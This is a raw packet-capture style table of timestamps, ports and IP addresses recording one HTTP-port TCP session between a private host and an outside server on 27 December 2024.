Dec 27, 2024 15:04:27.476416111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.476455927 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.488383055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.488557100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.488606930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.488703966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.488879919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.488965034 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.488976955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.489675999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.489736080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.524008989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.524064064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.524123907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.524384022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.524426937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.524467945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.525126934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.525293112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.525347948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.525439978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.526168108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.526226997 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.526247025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.526637077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.526683092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.526743889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.527432919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.527493000 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.527515888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.528285027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.528302908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.528333902 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.529742956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.529757023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.529800892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.531197071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.531251907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.582421064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.582439899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.582490921 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.582674026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.582686901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.582726002 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.585902929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.589893103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.589905977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.589937925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.591913939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.591999054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.600413084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.600768089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.600778103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.600816011 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.612906933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.613024950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.613034964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.613085985 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.613238096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.613251925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.613298893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.615922928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.648058891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.648578882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.648588896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.648648024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.648689032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.648713112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.648725986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.648761988 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.649436951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.649446964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.649482965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.650125980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.650136948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.650196075 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.650753021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.650953054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.651781082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.651793003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.651832104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.651865959 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.651899099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.653858900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.653872013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.653920889 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.654220104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.654231071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.654268980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.698954105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.698978901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.699054956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.707000017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.707015991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.707062960 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.707381964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.707393885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.707436085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.708890915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.714204073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.714217901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.714267015 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.717900038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.720901012 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.725038052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.725052118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.725097895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.726291895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.737148046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.737162113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.737211943 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.737466097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.737476110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.737509012 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.738253117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.738262892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.738301992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.772339106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.772353888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.772418976 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.772680998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.772748947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.772911072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.773614883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.773627043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.773672104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.774471998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.774485111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.774523973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.775333881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.775346994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.775408983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.775667906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.775706053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.776036978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.776851892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.776865005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.777020931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.777669907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.777686119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.777720928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.777877092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.780900002 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.792782068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.792890072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.793231964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.833098888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.833182096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.833235979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.833511114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.833556890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.833736897 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.834213972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.838834047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.838885069 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.838970900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.839183092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.839229107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.849962950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.850147009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.850198030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.850311041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.861561060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.861696959 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.861888885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.862088919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.862143993 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.862246037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.862960100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.863111973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.863154888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.896707058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.896724939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.896776915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.896965981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.897005081 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.897464991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.897898912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.897942066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.898210049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.898221970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.898279905 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.898792028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.899199963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.900914907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.901515007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.901532888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.901550055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.901561975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.901573896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.901575089 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.901585102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.901592970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.901631117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.902084112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.902487040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.903363943 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.946791887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.946811914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.946858883 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.947020054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.957453012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.957470894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.957509995 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.957798004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.957829952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.957880020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.958523035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.958565950 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.963254929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.963265896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.963309050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.963610888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.974445105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.974560022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.974642992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.974721909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.974766970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.986676931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.986849070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.986902952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.987193108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.987201929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.987215996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.987286091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:27.987952948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:27.987998009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.021889925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.021910906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.021924019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.021936893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.022052050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.022619963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.022783041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.022833109 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.022927046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.023644924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.023776054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.023833036 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.024456024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.024468899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.024499893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.025279045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.025295973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.025346041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.026026964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.026051044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.026087999 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.026657104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.026700974 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.026863098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.070969105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.071027040 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.071110010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.071120977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.071161032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.081856966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.081873894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.081943989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.082207918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.082218885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.082271099 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.083369017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.087560892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.087578058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.087614059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.088098049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.088151932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.098531008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.098548889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.098602057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.099371910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.110600948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.110642910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.110699892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.110995054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.111048937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.149311066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.149328947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.149400949 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.149637938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.149647951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.149679899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.149864912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.150588989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.150603056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.150643110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.151283026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.151336908 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.151365042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.152192116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.152213097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.152237892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.152930021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.152980089 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.153014898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.153886080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.153898954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.153953075 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.154522896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.154577971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.154980898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.155294895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.155514956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.195386887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.195405006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.195465088 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.195547104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.206099987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.206118107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.206213951 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.206387043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.206430912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.206469059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.211815119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.211831093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.211888075 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.212229013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.212240934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.212280035 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.222779036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.222796917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.222855091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.223361969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.223406076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.235016108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.235037088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.235069990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.235361099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.273567915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.273617029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.273664951 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.273807049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.273853064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.274060965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.274072886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.274108887 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.274799109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.274888992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.274945021 CET	49743	80	192.168.2.4	185.215.113.16
